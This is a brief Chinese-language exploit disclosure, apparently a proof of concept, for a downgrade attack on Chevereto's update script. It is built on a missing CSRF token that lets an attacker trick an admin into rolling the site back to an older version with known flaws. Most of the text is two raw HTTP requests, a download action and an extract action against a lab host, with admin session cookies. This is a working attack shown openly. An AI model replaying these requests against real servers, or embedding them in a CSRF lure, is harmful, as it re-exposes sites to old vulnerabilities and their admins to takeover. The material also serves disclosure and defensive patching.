Chevereto 降级攻击 - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. 管理员用户可以指示更新脚本降级到另一个版本而不是升级，从而重新引入之前的缺陷。由于缺少 CSRF 令牌，此攻击还可用于 CSRF 攻击，即管理员用户可能被诱骗执行此操作。
服务器将返回下载文件的完整文件名，该文件名将在后续请求中使用
GET /update/?action=download&version=3.13.4 HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1
GET /update/?action=extract&file=chevereto_3.13.4_3e50e6fa70915cd22849819f.zip HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1